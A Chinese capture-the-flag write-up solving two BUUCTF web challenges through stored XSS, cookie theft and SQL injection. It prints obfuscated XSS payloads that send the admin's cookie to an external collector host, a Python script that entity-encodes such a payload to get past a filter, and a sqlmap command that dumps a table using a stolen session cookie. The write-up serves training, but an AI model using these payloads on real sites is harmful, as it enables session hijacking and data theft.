BUU XSS COURSE 1 & [CISCN2019 華東北賽區]Web2
XSS的題目沒怎么做過，比賽基本上也沒有（=_=），總結下今天做的兩題
都是看趙總視頻現學現做的，這里附上學習鏈接，大家記得白嫖hhh~
BUU XSS COURSE 1
題解
這題點進去就兩個窗口，一個吐槽的，一個登陸。
但是沒有注冊頁面所以沒啥用，直接來吐槽
先嘗試彈窗<script>alert(1)</script>,訪問給的地址沒有彈窗
換個標簽試試<IMG SRC="javascript.:alert('XSS');">,訪問發現顯示了一個不存在的圖片，存在xss漏洞。
靶機無法訪問外網，用內網xss平台，注冊一個賬號，創建“我的項目”，模塊全點上，以后也能用。
</textarea>'"><img src=# id=xssyou style=display:none onerror=eval(unescape(/var%20b%3Ddocument.createElement%28%22script%22%29%3Bb.src%3D%22http%3A%2F%2Fxss.buuoj.cn%2F8sVXk7%22%3B%28document.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3B/.source));//>
把xss代碼在“吐槽”提交以后，訪問一下給的地址，回到XSS平台的項目內容就可以看到兩個剛接收到的內容，其中有一個是管理員訪問。
利用管理員的cookie，以及來訪地址http://XXXXXXXXXXXXXXXXX.node3.buuoj.cn/backend/admin.php登錄即可得到flag（用chrome的edit this cookie插件比較方便）
end。
[CISCN2019 華東北賽區]Web2
知識點
1、儲存型 XSS 與過濾繞過
附上CSP的知識：http://www.ruanyifeng.com/blog/2016/09/csp.html
2、SQL 注入
題解
這題打開先是一個論壇界面，內容都是超鏈接，我們點擊投稿發現要注冊，那就先注冊登錄。
發現一個投稿頁面，還有個反饋頁面，根據上面那題的思路，這題的解法應該是先在投稿文章內插入XSS代碼，然后通過反饋讓管理員審閱文章，從而竊取管理員的cookie。
先嘗試能不能彈窗，查看文章源代碼發現''(''被轉義成了"（"，存在WAF。
上傳的內容需要轉碼來繞過WAF，用HTML Markup
趙總的腳本
in_str = "(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=xpqwIP&keepsession=0&location='+escape((function(){try{return document.location.href}catch(e){return''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return''}})())+'&opener='+escape((function(){try{return(window.opener&&window.opener.location.href)?window.opener.location.href:''}catch(e){return''}})());})();"
output = ""
for c in in_str:
output += "&#" + str(ord(c))
print("<svg><script>eval("" + output + "")</script>")
注意！！！id記得改成自己xss平台的，比如趙總腳本里的是xpqwIP，別搞錯了
生成的payload提交以后復制url，然后進反饋
地址前面記得改成web
md5截斷驗證用python腳本爆破，百度上挺多的。
填上URL和驗證碼提交，我們去XSS平台看看
我們用掃描器掃一下網，發現了admin.php
用剛才獲取的cookie登錄admin.php，測試發現存在sql注入（hhh盜用趙總id）
用sqlmap跑一下，得到flag
sqlmap -u "http://6e5d7496-7b5f-4d94-b0e3-74ccf262a4d2.node3.buuoj.cn/admin.php?id=4" --cookie="PHPSESSID=8925446bf891203de8f1226880a9e296" -T flag --dump --flush-session --fresh-queries
做完啦~ 漲姿勢orz